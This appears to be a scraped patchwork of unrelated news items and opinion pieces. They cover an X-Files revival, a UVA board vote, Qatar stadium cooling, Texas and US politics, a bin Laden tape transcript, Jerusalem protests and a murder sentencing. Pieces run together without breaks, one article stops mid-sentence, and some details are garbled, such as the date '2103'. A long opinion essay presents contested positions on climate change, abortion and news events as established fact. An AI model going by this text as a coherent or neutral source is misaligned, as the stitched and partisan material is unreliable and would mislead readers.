The first part of the trailer shows Mulder and Scully, played by David Duchovny and Gillian Anderson respectively, reuniting after some sort of mystery arises. As with “The X-Files”, almost nothing is revealed so as to keep the mystery as tight as possible. The second half gets far more exciting, promising intrigue, action, and suspense, all building up to a conspiracy that feels right at home in “The X-Files” universe.
The presumed dead Lone Gunmen – played by Tom Braidwood, Dean Haglund, and Bruce Harwood – are set to return for an undisclosed arc. Robbie Amell (“The Flash”) and Lauren Ambrose (Psycho Beach Party) signed on as Agent Miller and Agent Einstein, respectively.
Mitch Pileggi returns as FBI Assistant Director Walter Skinner, while William B. Davis will be back as the iconic Cigarette-Smoking Man in the new short-stack order of 6-episodes. Joel McHale will play Tad O’Malley, a conservative news anchor who becomes an unlikely ally for Fox Mulder (Duchovny).
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Please enable Javascript to watch this videoAfter a nearly 12-hour meeting in the Rotunda, the University of Virginia Board of Visitors has named Dean of the McIntire School of Commerce Carl P. Zeithaml as the new interim president.
The board held a roll call vote for the dean as interim president, which resulted in two abstentions and one no vote. At this time, NBC29 has confirmed Robert D. Hardie as one abstention and W. Heywood Fralin as giving the no vote. One member even outwardly expressed his desire to reinstate Teresa Sullivan.
Zeithaml approved the vote and stated he will serve as needed - temporarily or longer. The board then went on to praise his leadership in the UVA McIntire School of Commerce.
UVA Rector Helen Dragas then addressed the group, saying that the Board of Visitors will soon form a "special committee" to find a permanent president for the university. Details on that process will be released in the next few weeks.
Throughout the entire marathon meeting, hundreds, if not thousands, of students, staff, alumni, and community members swarmed the Lawn to show their support for Sullivan.
After the meeting, Dragas left through the back door of the Rotunda, but cameras, questions, and criticism followed her to her car.
"I would just tell you not to believe everything you read in the papers...quoted by anonymous sources," said Dragas.
UVA student Corey French captured the sentiment of supporters,"I mean, if you purport to represent the students of this university, and the interests of this university, then you should be willing to stand before those who are gathered here and make a statement to the press and to the students who, I think, deserve that at least."Facts get in the way of progress. Fiction, or what is more fashionably called 'the narrative,' is the foundation for our great society.
Maryland State Attorney Marilyn Mosby announced this week that second-degree murder was among the charges being brought against the six police officers involved in the arrest of Freddie Gray, who later died as a result of injuries sustained while in custody on April 12.
Legal experts say it will be extremely difficult for Mosby to get a guilty verdict on such steep charges, given that the currently known facts of the case don’t appear to bear the weight of such a heavy charge.
But if Mosby’s words are any indication of how the case will proceed, facts will likely take a back seat to political motivations and calls for racial justice. What has been, for the most part, a methodical and evidence-driven justice system may now be shifting to one driven by social unrest and political ambition—neither of which are beholden to concrete realities.
Facts are now irrelevant. They tend to get in the way of progress. Fiction, or what is more fashionably called “the narrative,” is the foundation for our great society—and what a more vibrant, tolerant, positive society it is! Or conversely, what a tragic, hellish, frightful world we inhabit. They are both equally valid perspectives, depending on our social and political goals.
I’ll tell the story, since we are so enamored of narratives of late, of how facts passed away into the dark void of historical insignificance.
It’s hard to settle on a starting point for when the pertinence of facts to the important issues of our lives began to degrade, but for the sake of brevity we will start in the more recent past, where our memories can corroborate.
Michael Brown: The Victim
Freddie Gray is only the latest in a string of police encounters colored along racial lines, the most recently infamous of which occurred in Ferguson, Missouri, on August 9, 2014. Michael Brown was fatally shot by Officer Darren Wilson, but the specifics of the event beyond that brief description diverged quickly based on witness testimony and pre-existing narratives on race and police relations in the United States.
The specifics of the event diverged quickly based on witness testimony and pre-existing narratives on race and police relations in the United States.
A chief cause of that divergence was the testimony from Brown’s companion at the time of the shooting, Dorian Johnson, who reported that Brown, with his hands up, had told Wilson, “I don’t have a gun, stop shooting.” But that never happened, nor did Brown utter any variation thereof, according to any credible witnesses of his shooting death.
Through social media and a sensationalizing press, that quote from Johnson quickly morphed into “hands up, don’t shoot.” Thousands of angry protesters took to the streets, from Ferguson to Los Angeles to Seattle, with #handsupdontshoot emblazoned on their chests and their cardboard signs. Protesters marched well into the holiday season, with an array of slogans ranging from “black lives matter” to “no racist police” to “justice for Trayvon,” but “hands up don’t shoot” has always been prominent among them.
The meme pervaded even the most scrutinized of institutions, as five National Football League players from the St. Louis Rams, knowing hundreds of reporters watch them for some juicy word or gesture to pick apart on the commentary circuit, walked onto the field in a November game against the Raiders in the symbolic pose of surrender, long after “hands up don’t shoot” was discredited.
Where they sheltered from the more accurate and credible reports that came out in the months after the shooting? Were they aware of them, but simply denied they were true? Or did they realize the meme was built on a false testimony, but used it to make a broader statement about police and race relations anyway? Put simply, did the facts matter, or were they overwhelmed by the narrative, perhaps even avoided?
Did they realize the meme was built on a false testimony, but used it to make a broader statement about police and race relations anyway?
The art and music industries, having an even greater affinity for catchy slogans based on current events, produced multiple works based off “hands up, don’t shoot.” Rapper Queen McElrath, inspired by the events in Ferguson, wrote the song “Hands up, Don’t Shoot,” creating a music video with high-school students in which the rapper proclaims, “I am Trayvon I am Mike Brown,” before peers launched into the chorus repetition of “hands up, don’t shoot.”
Similarly, an Oscars rap performance by Common and John Legend featured the lyrics, “Resistance is us…that’s why Rosa sat on the bus, that’s why we walk through Ferguson with our hands up.” This was in February, months after Johnson was thoroughly discredited.
This isn’t the first time the black community has shown intellectual resilience to evidence emerging after people have already formed and promulgated opinions on an issue. Despite all the evidence, a full 40 percent of blacks still believe O.J. Simpson isn’t guilty.
The University of Virginia ‘Rape Story’
The source of the narrative totally made this story up, but that’s not why it’s disturbing. It’s not even the trauma that supposedly unfolded one night in the Greek system. It’s how the story spun itself into such an irresistibly sensational publication that Rolling Stone just couldn’t wait to catapult into the national discourse on “campus rape culture.” They allowed that story to spin uninhibited by corroborating statements, or even verification that the man who allegedly orchestrated the whole gang rape was a real person.
Gillibrand, along with many others, is chiefly concerned with defending and promulgating the narrative, even when the narrative and the truth are at odds.
What is more, the author of that story, Sabrina Rubin Erdely, the instigator of tremendous conflict on the University of Virginia campus and the outright shaming of the Phi Kappa Psi, is still working at Rolling Stone after an entire narrative, which floated for months on the currents of liberal media, a flashing beacon bobbing on the waves of rape-culture dialogue, finally popped in a fantastic display of the fragility of modern journalistic narratives.
But the narrative continues to unfold, despite catching on a few snags of controversy. Sen. Kirsten Gillibrand of New York essentially waved off the Charlottesville police’s conclusions that they were “unable to verify the sexual assault,” saying that, “Victim blaming or shining the spotlight on her (the female that alleged the rape) for coming forward is not the right approach.”
“It’s not about any one case or any one investigation. It’s about a very serious problem that is taking place across campuses across the country,” she stated.
In other words, whether the accuser’s statements hold any truth at all is rather unimportant. Gillibrand, along with many others, is chiefly concerned with defending and promulgating the narrative, even when the narrative and the truth are at odds.
Bowe Bergdahl: The Hero
In the midst of a deep rooted scandal in the Veterans Affairs in May 2014, the Obama administration initiated the trade of five Taliban leaders from Guantanamo Bay for the return of U.S. Army soldier Bowe Bergdahl, who was believed to have been held by the Taliban for five years. Bergdahl was warmly received home with a ceremony in the White House Rose Garden, in which President Obama asserted that “the United States of America does not ever leave our men and women in uniform behind.”
If you had isolated yourself from outside media and only observed the actions and language of the administration, you would think Bergdahl was a true American hero who had made great sacrifices for his country.
National Security Advisor Susan Rice stated in an interview with CNN after the trade that Bergdahl had “served with honor and distinction.” The Obama portrayed Bergdahl, almost flawlessly, as a hero finally coming home after five years as a hapless victim, received by his country with celebration and open arms. Their opinion of the trade as a good and just action was unwavering. If you had isolated yourself from outside media and only observed the actions and language of the administration, you would think Bergdahl was a true American hero who had made great sacrifices for his country.
In March 2015, Bergdahl was charged with one count of desertion and another count of misbehavior, yet members of Bergdahl’s platoon had called him a deserter long before charges were brought. A 2010 Pentagon investigation report concluded that “incontrovertible evidence” had been found that Bergdahl had willfully abandoned his post, consequently landing himself in Taliban captivity.
He was “ashamed to be an american,” Bergdhal had written in correspondence to his parents, and, “The horror that is america is disgusting.”
Two very different narratives have run counter to each other with near equal velocity. One includes Bergdahl’s own actions, as supported by the evidence, as a factor in not only his circumstance as a captive, but his relative worth to other soldiers who had risked their lives to recover him, and the threat posed by the Taliban leaders we traded for him. The other narrative was characterized by a conspicuous lack of details, the vacuum in which grew a very different version of events.
Climate Change: The Deniers
As Greg Jones wrote for The Federalist, climate-change experts are grasping for an explanation for the “pause” in global warming. Man-made calamity looms greater than ever, they say, despite only one-third of 1 degree Celsius warming since 1979, and despite the upward trend in greenhouse-gas emissions that leaves the rate of global warming lagging far behind.
Data that is repeatedly cherry-picked and framed to instead support your theory and flesh out a pre-existing narrative is not science at all.
The Washington Post published an article titled “The global warming slowdown is real — but that’s no reason to question climate science.” In fact, according to Scientific American, experts say that once we get over the “speedbump,” the earth will warm even faster!
Jones frames the statements of the climate change through the five stages of grief. The entire process is a struggle against the evidence, but global warming enthusiasts are not mourning a death. Instead they mourn a crisis that was not birthed when expected, and anxiously anticipate its delivery. They are like cult members who watch a rapture date come and pass, yet hang on every word of their leader’s next prediction.
Why the anticipation? When evidence mounts against one’s theory, an analyst following the scientific method would be forced not only to concede his theory may not be as plausible as initially thought, but to purposely seek out more evidence to try to prove his initial theory wrong. That is science. The more data gathered in the attempt to disprove the theory that instead supports it strengthens that theory. Data that is repeatedly cherry-picked and framed to instead support your theory and flesh out a pre-existing narrative is not science at all.
The little green bumper stickers are all the convincing we need to believe in a climate crisis.
But “science” isn’t a body of data painstakingly collected through rigorous scientific method; no longer do narratives simply piggyback off science. Now, science has been consumed by the narrative. It is the narrative. And the narrative, unlike science, must not be questioned.
No longer do we burden ourselves with investigating the basic premise on which an entire infrastructure of policy and technology has been built, with scant proof that a little warming isn’t in fact a good thing. We assume warming is bad, though a little less frostbite could do thousands of square miles of crops some good. No longer do we bother to demonstrate with strong evidence that carbon dioxide is the driving force behind global warming; instead, we take it for granted. Nearly every car and energy supplier commercial you’ve seen over the past several years has bragged about how much they’ve reduced their carbon footprint. The little green bumper stickers are all the convincing we need to believe in a climate crisis.
Fetuses: It’s Goo
Last year, Bill Maher interviewed Sarah Silverman, and she spoke about her pro-abortion activism. “It’s goo that they’re [pro-life protesters] so worried about,” she said, “and then they’re born, and it’s, ‘You’re on your own, slut.’” Silverman doesn’t specify which stage of pregnancy she refers to as goo. One can only conclude that the growth stages of a fetus are so insignificant they all can comfortably fit under that three-letter word, despite the fact that a fetus’ heart begins beating at around five weeks old. By week eight, the eyes are formed. By the twelfth week, a fetus has fingernails.
A fetus is not an extension of a woman’s body, but a separate life, with unique genetic material.
Silverman also voiced one of the pro-choice’ side’s most popular lines, saying she supports women being able to choose “what they do with their own bodies.” But this is not a mere matter of perception; literally speaking, she supports women’s right to choose what they do with someone else’s body. A fetus is not an extension of a woman’s body, but a separate life, with unique genetic material, half from the mother and half from the father.
The broad support on the Left for this “right,” and how enough people seem to buy into this right that FactCheck or Snopes have not debunked it, indicates one or both of two things: that a huge segment of the public cannot dwell on an idea long enough—a mere couple seconds—to realize its obvious logical flaw, or that our public education system has done so poorly as to graduate millions of citizens incapable of distinguishing separate organisms if one occupies space within another.
Yet “what women do with their own bodies” has become, despite the evidence, the go-to slogan for the pro-abortion Left.
The Dangerous Credulity of Anti-Vaxxers
Anti-vaccination is a sticky belief. It catches people from both the Left and the Right, entangling them in a sticky web of Internet memes and pseudo-science sites. It is not a belief from which they can easily extricate themselves, having tossed and turned until its sappy tendrils cover their eyes and ears. Despite all scientifically-grounded evidence and expertise supporting the immense benefits of vaccination and the danger of not vaccinating, anti-vaxxers cling to convictions that coalesced over obscure blog posts and frightening but unsubstantiated claims friends have forwarded them.
Where are the medical studies that say ‘natural immunity’ is more effective than vaccinations?
Some have rightly pointed out that celebrities have given a megaphone to what would otherwise have been steady, but merely annoying, murmurs in cyberspace. Jenny McCarthy, who has no medical education to speak of or any credible scientists backing her up, is leading the attack, with a little help from Oprah’s prominent media platform. Oprah said in 2007 that “she knows what she’s talking about.”
Where is the evidence that vaccines cause autism? Where are the medical studies that say “natural immunity” is more effective than vaccinations? Where are the facts?
There are none in the anti-vaxxer camp; in fact, there is virtually a consensus of the opposite. In the world of vaccine deniers, only unsubstantiated propaganda has captivated enough parents to further the spread of a measles outbreak at Disneyland to 127 cases through parents choices not to vaccinate. In some pockets of California, the vaccination rate is estimated to be as low as 50 percent.
Sadly, there is probably a thread at the bottom of this post decrying vaccines as a horrible irresponsible money-maker of Big Pharma. The callers on talk radio attack hosts for speaking out against the anti-vaxxer myths and irresponsibility. And that is truly disturbing, in a community of readers and listeners that on other issues appreciates the truth instead of collapsing into a popular narrative.
Organic: The Conscientious Consumer
Another popular idea, greatly surpassing anti-vaccination in magnitude, is superiority of organic food over non-organic or “genetically modified” foods. Whole Foods has capitalized on this idea with a vast selection of (pricey) organic items.
Two hundred thirty-seven studies observe that, on average, organic foods are neither safer nor more nutritious than cheaper alternatives.
A recent poll conducted by Reuters found that 68 percent of people under age 35 prefer to buy organic food, and on the whole 55 percent prefer to buy organic. A full 48 percent of those who said they prefer organic gave either avoiding toxins or environmental health as their reason.
But it might very well surprise you to discover that 237 studies observe that, on average, organic foods are neither safer nor more nutritious than cheaper alternatives. Scientists from the University of California-Berkely concluded in another paper that the risks of pesticide residue from natural pesticides (permitted for “organic” agriculture) and synthetic pesticides are about equal. Moreover, they stated that, “low doses of most human exposures the comparative hazards of synthetic pesticide residues are insignificant.”
Perhaps the stickiest myth among the pro-organic crowd is about GMOs (genetically modified organisms). GMOs have been genetically adjusted to produce a better product, such as a redder apple or seedless watermelon. Some have gotten the idea, perhaps in association with anti-MonSanto memes, that GMOs are untested and therefore unsafe. In Washington State, an initiative came on the ballot in 2013 to require labeling all GMO foods sold in the state as such. The health risks GMOs posed were perceived great enough to warrant disclosure to consumers—although if a piece of produce does not have a sticker that says it’s organic, it’s a safe bet that it is a GMO anyway.
Some consumers will pay more than a dollar more for a half gallon of organic milk over conventional milk.
Despite the lack of evidence to support the superiority of organic foods, they are such a big deal that virtually every grocery store with a produce department has a section dedicated to organic fruits and vegetables.
It’s not easy to get Americans to part with their cash, but Big Organic (if you’re into that sort labeling) has done it on a massive scale, and to a significant degree—some consumers will pay more than a dollar more for a half gallon of organic milk over conventional milk. Whole Foods has built an empire largely on the idea that organic food (not just natural food) is better for you, but anyone who’s willing to take a few moments to investigate, the ones who truly care about the facts behind the narrative or the sales pitch, can discover that the “organic” brand is built on hollow assumptions and false premises.
Religious Freedom: The Bigots
In March 2014, the mayor of Seattle announced he would “impose an administration-wide ban on state-funded travel to Indiana.” His decision followed a move by the Indiana legislature to pass a law that Mayor Murray called “disturbing” because he said it would allow business owners to discriminate against members of the LGBT community.
If the news was breaking to you over Twitter or other social media, you might have gotten the impression that Indiana lawmakers had up and decided that gay people were no longer welcome in their state, and that Indiana had been overrun with religious bigots who were just waiting for the government to give them license to discriminate.
However, the text of the law, known as a RFRA (Religious Freedom Restoration Act) that the mayor was protesting doesn’t even mention discrimination by private parties, much less expressly grant it. Instead, the law provides that:
A governmental entity may not substantially burden a person’s exercise of religion, even if the burden results from a rule of general applicability. (b) A governmental entity may substantially burden a person’s exercise of religion only if the governmental entity demonstrates that application of the burden to the person: (1) is in furtherance of a compelling governmental interest; and (2) is the least restrictive means of furthering that compelling governmental interest.
Gabriel Malor described the law as a “balancing test for litigation,” putting “exercise of religion on one side of the scale and then government interest on the other.” Malor explains the furor over the law as being subject to “informed attributes,” or a “violation of show, don’t tell,” where people impose characteristics onto a subject simply through telling (“the Indiana law is anti-gay!”) without substantiating their claims with the behavior or nature of the subject.
Why the use of literary terms? Journalism has become more a work of fiction loosely based on reality, inspired by reality, rather than an attempt at reflecting it. The more fictional the journalistic work, the more literary tools of analysis, and not standards of accurate reporting, will apply. This is how far away facts have slipped from the supremacy they were once supposed to have held in reportorial sphere.
Malor says that in works of fiction, informed attributes “occur when the author gets lazy.” This may well be true for some journalists, but this phenomenon extends beyond laziness. It is not simply a matter of being too sluggish every once in a while to get off the couch and feed the dog, but rather of letting the dog outside one day and refusing to let it back in, until eventually it wanders off to find a new home or is eaten by the coyotes.
A Nice Story Feels Better than Truth, Right?
When the dog does abandon its former home, you’ve grown so used to not having it around that you won’t even miss it. That is the final stage in the death of facts. We are so comfortable in our fictional world that we lose the sense that something might be missing, that the story we are told doesn’t quite match up with what our eyes and ears observe. We lose first our suspicion, and then our curiosity.
That is how facts die. They languish under the pressures of a narrative that slowly envelops them in a web of modern intellectual diseases—of social justice and emotional reactionism, of incuriousness and gullibility.
Perhaps we are better off without them. Perhaps we will look back on the years of conflict between fact and fiction, and realize that we were right to cast off the burden of truth in exchange for the comfort of a story, to have a camera that captures all of society, that zooms in and out for us, selects the focus, and portrays the protagonists, the antagonists, and the plot for us all to watch together.
We cheer when the hero prevails, laugh with the laugh tracks, shriek at the horrors, and cry at the deaths. The only deaths we do not cry for are the ones we don’t recognize or remember. Facts are chief among the forgotten.Massive robotic clouds will float above Qatar to shade the stadiums. Courtesy BBC Video
Organizers have taken heat over the potentially dangerous summer temperatures in Qatar. But the Arab emirate has come up with a futuristic solution, and as usual, cost is not an issue.
Summertime temps in Qatar can reach 122°F (50°C). Players and spectators alike face serious health risks in such sweltering heat, even leading FIFA president Sepp Blatter to (albeit unsuccessfully) lobby for playing the World Cup in the winter months.
(More on TIME.com: See photos of the gorgeous World Cup stadiums)
So it was back to the drawing board for the desert nation, and scientists have hatched a plan to hover giant robotic clouds over the venues to keep out the sun. The clouds are essentially massive blimps, filled with helium, and will be floated above stadiums. Four onboard solar-powered engines will allow the clouds to be controlled from the ground, shifting along with the sun’s zenith, serving as a huge umbrella in the sky to shade spectators and athletes.
The clouds come at a cost of $500,000 each, pocket change for the Middle Eastern nation. The emirate is touting their World Cup hosting endeavor as an event where we can “Expect Amazing.” Robotic clouds – that definitely qualifies. What’s next, Qatar?
(More on TIME.com: See the top 10 World Cup moments from 2010)“In a way now, it’s like Straus and the right wing of the party don’t even speak the same language,” said Brandon Rottinghaus, the author of a new book, “Inside Texas Politics,” and a professor of political science at the University of Houston. “Straus is somebody who is still trying to hold onto the center of American politics and Texas politics. That’s becoming increasingly difficult to do.”
Mr. Straus shows no outward signs of feeling the pressure. In a recent interview in his office on the second floor of the Capitol behind the empty House chamber, Mr. Straus sat on a sofa with a tall glass of ice water and calmly paused for several seconds when asked whether Texas had shifted further to the far right since 2009.
“Well, a lot of the politicians have,” Mr. Straus replied. “I don’t think Texas has. And as the Republican Party continues to dominate all the statewide offices, the competition has been focused, really, on the small-turnout primaries.”
He added, “I’m not embarrassed to say that I know how to govern without being an extremist.”
Mr. Straus said he was not worried about the threats to vote him out after five terms as speaker. “If they want to try to change leadership, it’s in the rules how to do it,” he said. “I’ve been elected five times, so I have to know and be connected with where the members really are.”
The marquee item on the special-session agenda is the bathroom bill. But it is one of 20 pieces of legislation that will be debated, including property-tax reform, teacher pay raises and a ban on abortion coverage by private insurance plans.
The intraparty intrigue heated up a notch on Monday when Mr. Abbott told a conservative policy forum that he planned to publicize a list of lawmakers who support his 20-item agenda and those who oppose it, a list likely to have more political ramifications for Republicans than for Democrats.
Mr. Patrick, the lieutenant governor, effectively forced Mr. Abbott to call a special session, by holding a mundane piece of legislation hostage that must pass to keep a handful of state agencies operating, including the Texas Medical Board, which licenses the state’s doctors. Because the bathroom bill failed to pass during the regular session, Mr. Patrick used that legislation, known as a sunset bill, as leverage to get Mr. Abbott to order the 30-day session.President Trump is considering an aggressive step against China over its theft of U.S. intellectual property and China's other industrial policies that harm American companies. An announcement could come as soon as this week, multiple sources told Axios.
Trump could signal, or implicitly direct, the U.S.Trade Representative to "self-initiate" an investigation of China under section 301 of the 1974 Trade Act. Initiating an investigation under this section could result in either a new WTO dispute between the U.S. and China or unilateral retaliation by the Trump administration. It's too early to say what form that could take, but all tools, including tariffs, would be on the table.
Why this matters: In his career as a businessman and on the campaign trail, Trump has long railed against China for ripping off the U.S. But, so far at least, he has been more cautious in office because he wants President Xi to help restrain North Korea's nuclear program. If Trump takes an aggressive trade turn against China it would suggest he's positioning himself to turn his back on this strategy with China.Bin Laden: Goal is to bankrupt U.S.
Al-Jazeera releases full transcript of al Qaeda leader's tape
(CNN) -- The Arabic-language network Al-Jazeera released a full transcript Monday of the most recent videotape from Osama bin Laden in which the head of al Qaeda said his group's goal is to force America into bankruptcy.
Al-Jazeera aired portions of the videotape Friday but released the full transcript of the entire tape on its Web site Monday.
"We are continuing this policy in bleeding America to the point of bankruptcy. Allah willing, and nothing is too great for Allah," bin Laden said in the transcript.
He said the mujahedeen fighters did the same thing to the Soviet Union in Afghanistan in the 1980s, "using guerrilla warfare and the war of attrition to fight tyrannical superpowers."
"We, alongside the mujahedeen, bled Russia for 10 years until it went bankrupt and was forced to withdraw in defeat," bin Laden said.
He also said al Qaeda has found it "easy for us to provoke and bait this administration."
"All that we have to do is to send two mujahedeen to the furthest point east to raise a piece of cloth on which is written al Qaeda, in order to make generals race there to cause America to suffer human, economic and political losses without their achieving anything of note other than some benefits for their private corporations," bin Laden said.
Al-Jazeera executives said they decided to post the entire speech because rumors were circulating that the network omitted parts that "had direct threats toward specific states, which was totally untrue."
"We chose the most newsworthy parts of the address and aired them. The rest was used in lower thirds in graphics format," said one official.
U.S. intelligence officials Monday confirmed that the transcript made public Monday by Al-Jazeera was a complete one.
As part of the "bleed-until-bankruptcy plan," bin Laden cited a British estimate that it cost al Qaeda about $500,000 to carry out the attacks of September 11, 2001, an amount that he said paled in comparison with the costs incurred by the United States.
"Every dollar of al Qaeda defeated a million dollars, by the permission of Allah, besides the loss of a huge number of jobs," he said. "As for the economic deficit, it has reached record astronomical numbers estimated to total more than a trillion dollars.
The total U.S. national debt is more than $7 trillion. The U.S. federal deficit was $413 billion in 2004, according to the Treasury Department.
"It is true that this shows that al Qaeda has gained, but on the other hand it shows that the Bush administration has also gained, something that anyone who looks at the size of the contracts acquired by the shady Bush administration-linked mega-corporations, like Halliburton and its kind, will be convinced.
"And it all shows that the real loser is you," he said. "It is the American people and their economy."
As for President Bush's Iraq policy, Bin Laden said, "the darkness of black gold blurred his vision and insight, and he gave priority to private interests over the public interests of America.
"So the war went ahead, the death toll rose, the American economy bled, and Bush became embroiled in the swamps of Iraq that threaten his future," bin Laden said.
U.S. government officials said Friday that the tape appeared to be authentic and recently made. It was the first videotaped message from the al Qaeda leader in nearly three years.Publishers are in a massive bidding war for the Fox News host's project — a funny and provocative take on America's current state of affairs.
Fox News host Tucker Carlson, whose first broadcast as the replacement for Bill O’Reilly at 8 p.m. aired April 24, is attracting a flurry of attention for his proposed book, for which bids have hit eight figures.
A publishing source told The Hollywood Reporter that Carlson has made the rounds of about a dozen publishers to talk about the proposal, which has generated enthusiastic responses. The winning offer could reach $15 million. Carlson is represented by Matt Latimer and Keith Urbahn at Javelin, a D.C.-based literary agency.
Latimer told Buzzfeed, which first reported that Carlson was shopping a book, “Tucker’s is easily the most sought-after book by a news personality in many years, and he’s on track to get one of the |
and outright fighting erupted between Jewish protesters and riot police, which according to police spokeswoman Luba Samri, resulted in the arrest of four individuals, including three 16 year olds and Gopstein himself. Throughout the ensuing clashes, rocks and pebbles were thrown directly at the police officers, accompanied by the occasional chant of “Arab lovers” and “Israel is a police state.” From there, the demonstrators dispersed, with many of them raiding the nearby Mamilla shopping center that abuts Jaffa Gate, continuing their chants against Arabs and searching for Palestinians to intimidate and harass. Although the current author did not witness the disturbances in Mamilla, media reports confirm several instances of attacks committed by Jewish rioters, including the use of pepper spray against Arab pedestrians.
Speaking to several participants, the main theme of Thursday’s protest clearly revolved around the perception that the Israeli government, and Prime Minister Benjamin Netanyahu in particular, was not taking a firm enough hand against the recent stabbings witnessed across the country. One participant, who identified himself as Shai, exhorted that “We need to give the IDF (Israeli Defense Forces) a free hand in entering Arab villages, arresting all Arabs suspected of harboring anti-Israel sentiments or supporting these attacks, and destroying the homes of terrorists immediately after any attack.” When questioned about how lone wolf attacks can be prevented using harsher military measures, he returned to the ethos that “We need to let the army do its job thoroughly” as well as claimed that “(Palestinian Prime Minster) Abbas is directly responsible for the spilling of Jewish blood.” A follow up comment that questioned whether political frustration and economic despair could be adequately countered with suppression elicited no response other than “The army will take care of the situation.”
Virulent right wing, racist Jewish groups are certainly not a new phenomenon in the Old City and central square of Jerusalem, but the recent events have nonetheless spawned a markedly more aggressive trend among extremist groups. For example, when an Israeli-Palestinian citizen noted for her peace advocacy and outreach efforts to Jewish citizens participated in a sit-in led by a leftist Israeli group to mourn the death of two Jewish settlers killed in the northern West Bank on October 1, the event soon spiraled out of hand when hundreds of right wing demonstrators noticed the presence of a women wearing a Hijab and proceeded to encircle her, chant unbelievably vulgar insults and threats against her and her family, and flick garbage and cigarette butts at the left-wing activists. As a witness to those events, I can attest to not only the sheer verbal violence directed at a woman whose sole purpose was to express solidarity with her Jewish peers and condemn the loss of life, but also the lackluster response of the nearby Israeli riot police to provide any sort of protection until it was abundantly clear that failing to intervene would result in physical violence (and as one quote from the above 972 article in Hebrew reveals, at least one police officer stated her embarrassment and shame with being forced to protect a group of peace activists). Such instances point to, among things, the hypocrisy of Jewish groups and individuals who claim that Palestinians routinely fail to condemn acts of violence against Israeli civilians, and more importantly, to the growing prevalence and even dominance of staunch racism throughout the Israeli public sphere.
Prime Minister Netanyahu and the Israeli political establishment have grown increasingly accustomed to scapegoating Palestinian Prime Minister Mahmoud Abbas for attacks against Israelis, claiming that his “incitement” galvanizes Palestinians to perpetrate acts of violence against Israeli Jews. Notwithstanding Abba’s public statements to the contrary as well as assessments from the Israeli intelligence itself that the PNA leader has not been inciting the Palestinian street to violence, it has grown more and more common for Israelis to blame the aging leader for Palestinian anger. Missing in this sequence of events is the formative and ongoing incitement of Israeli settlers and radicals that dehumanizes Palestinians, encourages Jews to disregard Muslim sensitivities surrounding the Al Aqsa Mosque, and prompts calls for greater militarization and Jewish vigilantism.
Thursday night’s unsanctioned and unlicensed march of Israeli extremists and their willingness to resort to violence against their state’s security forces testify to the impact that incitement is having on Jewish youth throughout the country, and portends an ever-growing threat of entrenching the current spiral of bloodshed.A bipartisan pair of senators is hitting the Sunday show circuit this week to promote their bill aimed at protecting special counsel Robert Mueller from being fired by President Trump.
Sens. Thom Tillis Thomas (Thom) Roland TillisGOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration The Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump Don’t look for House GOP to defy Trump on border wall MORE (R-N.C.) and Chris Coons Christopher (Chris) Andrew CoonsTrump got in Dem’s face over abortion at private meeting: report Live coverage: Trump delivers State of the Union Actor Chris Evans meets with Democratic senators before State of the Union MORE (D-Del.) will appear on ABC's "This Week" as they seek to garner support for the Special Counsel Integrity Act, which would let Mueller or any special counsel challenge their firing in court. Tillis will also appear on Fox News Sunday.
Tillis said Thursday that the effort "reaffirms our nation’s system of check and balances" and would help ensure "investigatory independence" for special counsels.
Meanwhile, Coons called the legislation "critical" to ensuring the investigation into possible collusion between the Trump campaign and Russia can go forward.
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Trump's attorney Jay Sekulow this week denied that the president was considering firing Mueller, who is leading the federal probe into ties between the Trump campaign and Russia.
In an interview with The New York Times last month, Trump said he wouldn't rule out firing Mueller while warning the special counsel against investigating his family's finances beyond the scope of the Russia probe.
The special counsel investigation has moved into a new phase with the impaneling of a grand jury in Washington, with reports this week that subpoenas have been issued.
Senior White House adviser Kellyanne Conway is slated to appear on the same program Sunday as Tillis and Coons.
Meanwhile, Sen. Tom Cotton Thomas (Tom) Bryant CottonHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Inviting Kim Jong Un to Washington MORE (R-Ark.) will appear on CBS' "Face the Nation" in support of his bill rolled out at the White House this week that would dramatically reduce legal immigration to the U.S.
Trump has touted the legislation as "historic," saying Wednesday that the RAISE Act “would represent the most significant reform to our immigration system in a half a century."
Here's the full Sunday shows lineup:
ABC's "This Week": Sens. Thom Tillis (R-N.C.) and Chris Coons (D-Del.) speak about their bill to protect special counsel Mueller. Senior White House adviser Kellyanne Conway also joins the show.
NBC's "Meet the Press": Sen. Jeff Flake Jeffrey (Jeff) Lane FlakeBrexit and exit: A transatlantic comparison Poll: 33% of Kentucky voters approve of McConnell Trump suggests Heller lost reelection bid because he was 'hostile' during 2016 presidential campaign MORE (R-Ariz.) will speak about his new book attacking the GOP for abandoning conservatism; Gov. Jerry Brown (D-Calif.) will also appear.
CBS' "Face the Nation": Sen. Tom Cotton R-Ark.) speaks about his immigration bill. Govs. John Kasich (R-Ohio) and John Hickenlooper (D-Colo.) will make an appearance, as will former Homeland Security Secretary Jeh Johnson who will likely also speak about immigration.
CNN's "State of the Union": Sen. Ron Johnson Ronald (Ron) Harold JohnsonWhite House, GOP defend Trump emergency declaration GOP senator says Republicans didn't control Senate when they held majority GOP senator voices concern about Trump order, hasn't decided whether he'll back it MORE (R-Wis.); Rep. Adam Schiff Adam Bennett SchiffTech takes heat as anti-vaxers go viral Demands grow for a public Mueller report Bharara: It would seem 'odd and unusual' if Mueller report isn't made public MORE (D-Calif.) of the House Intelligence Committee; Gov. Chris Christie (R-N.J.).
"Fox News Sunday": Tillis joins the program.A 36-year-old man has been sentenced to 25-years-to-life in state prison for the 2013 murder of an 84-year-old woman during a robbery at her San Bernardino-area home, prosecutors announced Friday.
Freddie Weston pleaded guilty on Feb. 1 to first-degree murder, and on Wednesday Superior Court Judge J. David Mazurek handed down the sentence, according to a statement from the San Bernardino County District Attorney’s Office.
Lorna Gable called authorities shortly before 4:30 a.m. on Jan. 19, 2103, and reported that an intruder was inside her home in the 900 block of 40th Street. After Weston realized she was awake, he “brutally” beat her and her 96-year-old husband, William Gable, prosecutors and sheriff’s officials said.
The assailant then took an undisclosed amount of cash, a 1935 Colt.22-caliber handgun and other property and fled the scene.
Investigators released a sketch of the intruder, and Weston was arrested eight days later on charges of murder and residential robbery.
Lorn Gable was hospitalized following the incident; she died about a month later. Her husband survived the assault.
